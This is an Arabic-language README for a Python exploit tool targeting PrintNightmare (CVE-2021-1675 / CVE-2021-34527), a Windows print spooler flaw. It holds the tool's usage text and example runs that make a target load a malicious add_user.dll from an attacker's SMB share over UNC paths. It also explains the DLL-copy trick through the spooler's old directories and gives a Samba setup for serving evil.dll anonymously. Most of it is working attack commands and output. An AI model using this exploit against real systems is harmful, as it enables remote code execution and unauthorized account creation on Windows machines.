
تنفيذ بلغة بايثون لـ PrintNightmare (CVE-2021-1675 / CVE-2021-34527)
تنفيذ بلغة بايثون لـ PrintNightmare (CVE-2021-1675 / CVE-2021-34527) باستخدام Impacket القياسي.
$ pip3 install impacket
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
usage: printnightmare.py [-h] [-debug] [-port [destination port]] [-target-ip ip address] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-dc-ip ip address]
[-name driver name] [-env driver name] [-path driver path] [-dll driver dll] [-check] [-list] [-delete]
target
PrintNightmare (CVE-2021-1675 / CVE-2021-34527)
positional arguments:
target [[domain/]username[:password]@]<targetName or address>
optional arguments:
-h, --help show this help message and exit
-debug Turn DEBUG output ON
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials
cannot be found, it will use the ones specified in the command line
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
connection:
-port [destination port]
Destination port to connect to MS-RPRN named pipe
-target-ip ip address
IP Address of the target machine. If ommited it will use whatever was specified as target. This is useful when target is the
NetBIOS name and you cannot resolve it
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
driver:
-name driver name Name for driver
-env driver name Environment for driver
-path driver path Driver path for driver
-dll driver dll Path to DLL
modes:
-check Check if target is vulnerable
-list List existing printer drivers
-delete Deletes printer driver
$ ./printnightmare.py -dll '\\172.16.19.1\smb\add_user.dll' 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Enumerating printer drivers
[*] Driver name: 'Microsoft XPS Document Writer v5'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL path: '\\\\172.16.19.1\\smb\\add_user.dll'
[*] Copying over DLL
[*] Successfully copied over DLL
[*] Trying to load DLL
[*] Successfully loaded DLL
$ ./printnightmare.py -dll 'C:\Windows\System32\spool\drivers\x64\3\old\1\add_user.dll' 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Enumerating printer drivers
[*] Driver name: 'Microsoft XPS Document Writer v5'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL path: 'C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\1\\add_user.dll'
[*] Loading DLL
[*] Successfully loaded DLL
لاحظ أن مثال DLL المحلي لا يستغل CVE-2021-34527 لنسخ الـ DLL.
$ ./printnightmare.py -dll '\\172.16.19.1\smb\add_user.dll' -name 'My Printer Driver' 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Enumerating printer drivers
[*] Driver name: 'My Printer Driver'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL path: '\\\\172.16.19.1\\smb\\add_user.dll'
[*] Copying over DLL
[*] Successfully copied over DLL
[*] Trying to load DLL
[*] Successfully loaded DLL
$ ./printnightmare.py -list 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Enumerating printer drivers
Name: Microsoft XPS Document Writer v4
Environment: Windows x64
Driver path: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\mxdwdrv.dll
Data file: C:\Windows\System32\DriverStore\FileRepository\prnms001.inf_amd64_f340cb58fcd23202\MXDW.gpd
Config file: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_9bf7e0c26ba91f8b\Amd64\PrintConfig.dll
Version: 4
----------------------------------------------------------------
Name: Microsoft Print To PDF
Environment: Windows x64
Driver path: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\mxdwdrv.dll
Data file: C:\Windows\System32\DriverStore\FileRepository\prnms009.inf_amd64_80184dcbef6775bc\MPDW-PDC.xml
Config file: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_9bf7e0c26ba91f8b\Amd64\PrintConfig.dll
Version: 4
----------------------------------------------------------------
Name: My Printer Driver
Environment: Windows x64
Driver path: C:\Windows\system32\spool\DRIVERS\x64\3\UNIDRV.DLL
Data file: C:\Windows\system32\spool\DRIVERS\x64\3\add_user.dll
Config file: C:\Windows\system32\spool\DRIVERS\x64\3\add_user.dll
Version: 3
----------------------------------------------------------------
Name: Microsoft Shared Fax Driver
Environment: Windows x64
Driver path: C:\Windows\system32\spool\DRIVERS\x64\3\FXSDRV.DLL
Data file: C:\Windows\system32\spool\DRIVERS\x64\3\FXSUI.DLL
Config file: C:\Windows\system32\spool\DRIVERS\x64\3\FXSUI.DLL
Version: 3
----------------------------------------------------------------
Name: Microsoft enhanced Point and Print compatibility driver
Environment: Windows x64
Driver path: C:\Windows\system32\spool\DRIVERS\x64\3\mxdwdrv.dll
Data file: C:\Windows\system32\spool\DRIVERS\x64\3\unishare.gpd
Config file: C:\Windows\system32\spool\DRIVERS\x64\3\PrintConfig.dll
Version: 3
----------------------------------------------------------------
$ ./printnightmare.py -check 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Target appears to be vulnerable!
$ ./printnightmare.py -check 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[!] Target does not appear to be vulnerable
$ ./printnightmare.py -list 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Enumerating printer drivers
Name: Microsoft XPS Document Writer v4
Environment: Windows x64
Driver path: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_075615bee6f80a8d\Amd64\mxdwdrv.dll
Data file: C:\Windows\System32\DriverStore\FileRepository\prnms001.inf_amd64_8bc7809b71930efc\MXDW.gpd
Config file: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_c9865835eff4a608\Amd64\PrintConfig.dll
Version: 4
----------------------------------------------------------------
Name: Microsoft Print To PDF
Environment: Windows x64
Driver path: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_075615bee6f80a8d\Amd64\mxdwdrv.dll
Data file: C:\Windows\System32\DriverStore\FileRepository\prnms009.inf_amd64_6dc3549941ff1a57\MPDW-PDC.xml
Config file: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_c9865835eff4a608\Amd64\PrintConfig.dll
Version: 4
----------------------------------------------------------------
Name: Microsoft enhanced Point and Print compatibility driver
Environment: Windows x64
Driver path: C:\Windows\system32\spool\DRIVERS\x64\3\mxdwdrv.dll
Data file: C:\Windows\system32\spool\DRIVERS\x64\3\unishare.gpd
Config file: C:\Windows\system32\spool\DRIVERS\x64\3\PrintConfig.dll
Version: 3
----------------------------------------------------------------
قد يتطلب صلاحيات إدارية.
$ ./printnightmare.py -delete -name 'Microsoft XPS Document Writer v5' 'administrator:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Deleted printer driver!
يتكون PrintNightmare من ثغرتين، CVE-2021-1675 / CVE-2021-34527.
يُسمح للمستخدم غير الإداري بإضافة برنامج تشغيل طابعة جديد. تم إصلاح هذه الثغرة عن طريق السماح للمسؤولين فقط بإضافة برامج تشغيل الطابعة الجديدة. سيعيد الإصدار المُصحح من ترتيب الطباعة RPC_E_ACCESS_DENIED (الرمز: 0x8001011b) إذا حاول مستخدم غير مسؤول إضافة برنامج تشغيل طابعة جديد.
عند إضافة برنامج تشغيل طابعة جديد، تسمح المعلمة pDataFile في DRIVER_CONTAINER بمسارات UNC. ومع ذلك، لن يتم تحميل الـ DLL المحدد في pDataFile، ولكن سيتم نسخه إلى مسار محلي مما يسمح لنا بإنشاء برنامج تشغيل طابعة جديد مع معلمة pConfigFile تشير إلى المسار المحلي الذي سيُحمِّل الـ DLL. سيعيد الإصدار المُصحح من ترتيب الطابعة ERROR_INVALID_PARAMETER (الرمز: 0x57)
فقط CVE-2021-1675 مطلوب إذا كان الـ DLL الخبيث موجودًا بالفعل على الهدف.
بالنسبة لـ PrintNightmare، إذا لم يكن الـ DLL مسارًا محليًا، فيمكن استخدام CVE-2021-34527 لجلب الـ DLL عبر مسارات UNC. لهذا السبب، من الضروري تقديم الـ DLL عبر SMB. إذا لم تكن معتادًا على SMB وUNC، اقرأ القسم الفرعي التالي.
عند إنشاء برنامج تشغيل طابعة جديد، لن يتم تحميل الـ DLL في معلمة pDataFile لأسباب أمنية. ومع ذلك، سيتم نسخه إلى C:\Windows\system32\spool\drivers\x64\3\. بعد ذلك، يمكننا إنشاء برنامج تشغيل طابعة جديد يستخدم pConfigFile (الذي سيُحمِّل الـ DLL) مع المسار المحلي. ومع ذلك، فإن الـ DLL قيد الاستخدام من قبل برنامج تشغيل الطابعة الأول عند إنشاء برنامج تشغيل الطابعة الثاني. بدلاً من ذلك، يمكننا استبدال برنامج تشغيل الطابعة الأول، مما سيجعل ملفات DLL لبرنامج تشغيل الطابعة تُنسخ إلى C:\Windows\system32\spool\drivers\x64\3\old\<I>\، حيث يزيد <I> لكل DLL. الآن يمكننا إنشاء برنامج تشغيل طابعة ثالث سيستخدم المسار المحلي C:\Windows\system32\spool\drivers\x64\3\old\<I>\، نظرًا لأن الـ DLL لم يعد مستخدمًا. الآن الأمر مجرد تخمين <I> الذي سيبدأ الزيادة من 1.
لاحظ أن الـ DLL سيحتفظ باسم ملفه محليًا، لذلك إذا قمت في البداية بتشغيل الأداة باستخدام foo.dll وتم حفظه في C:\Windows\system32\spool\drivers\x64\3\old\1\foo.dll ثم قمت بتغيير محتويات foo.dll محليًا وأعدت تشغيل الأداة وتم حفظه الآن في C:\Windows\system32\spool\drivers\x64\3\old\5\foo.dll، فسيتم استخدام foo.dll الأصلي لأنه موجود في C:\Windows\system32\spool\drivers\x64\3\old\1\foo.dll. بدلاً من ذلك، قم ببساطة بتغيير اسم الملف إذا قمت بتغيير محتويات الـ DLL.
باختصار، مسار UNC هو مسار إلى ملف أو مجلد على شبكة بدلاً من ملف محلي، ويحتوي على اسم الخادم والمسار. على سبيل المثال، مسار UNC \\10.0.0.2\files\foo.txt هو ملف foo.txt يتم تقديمه من مشاركة files للخادم 10.0.0.2. عادةً، يتم تقديم المشاركة عبر SMB، ولكن WebDAV مدعوم أيضًا. لإنشاء مشاركة SMB على لينكس، أسهل وأكثر طريقة موثوقة هي استخدام حزمة Samba.
لتثبيت Samba باستخدام apt:
$ sudo apt install samba
قم بتحرير /etc/samba/smb.conf وأضف ما يلي في نهاية الملف:
[smb]
comment = Samba
path = /tmp/share
guest ok = yes
read only = yes
browsable = yes
force user = nobody
سيؤدي هذا إلى إنشاء مشاركة جديدة تسمى smb وتقديم الملفات داخل /tmp/share. يسمح بالوصول المجهول، وسيتم استخدام المستخدم المحلي nobody لتصفح الملفات.
ثم ابدأ خدمة Samba عن طريق:
$ sudo service smbd start
افترض أن جهاز لينكس الخاص بك لديه IP 192.168.1.100 وتريد تقديم evil.dll، فسيكون مسار UNC في هذا السيناريو هو \\192.168.1.100\smb\evil.dll.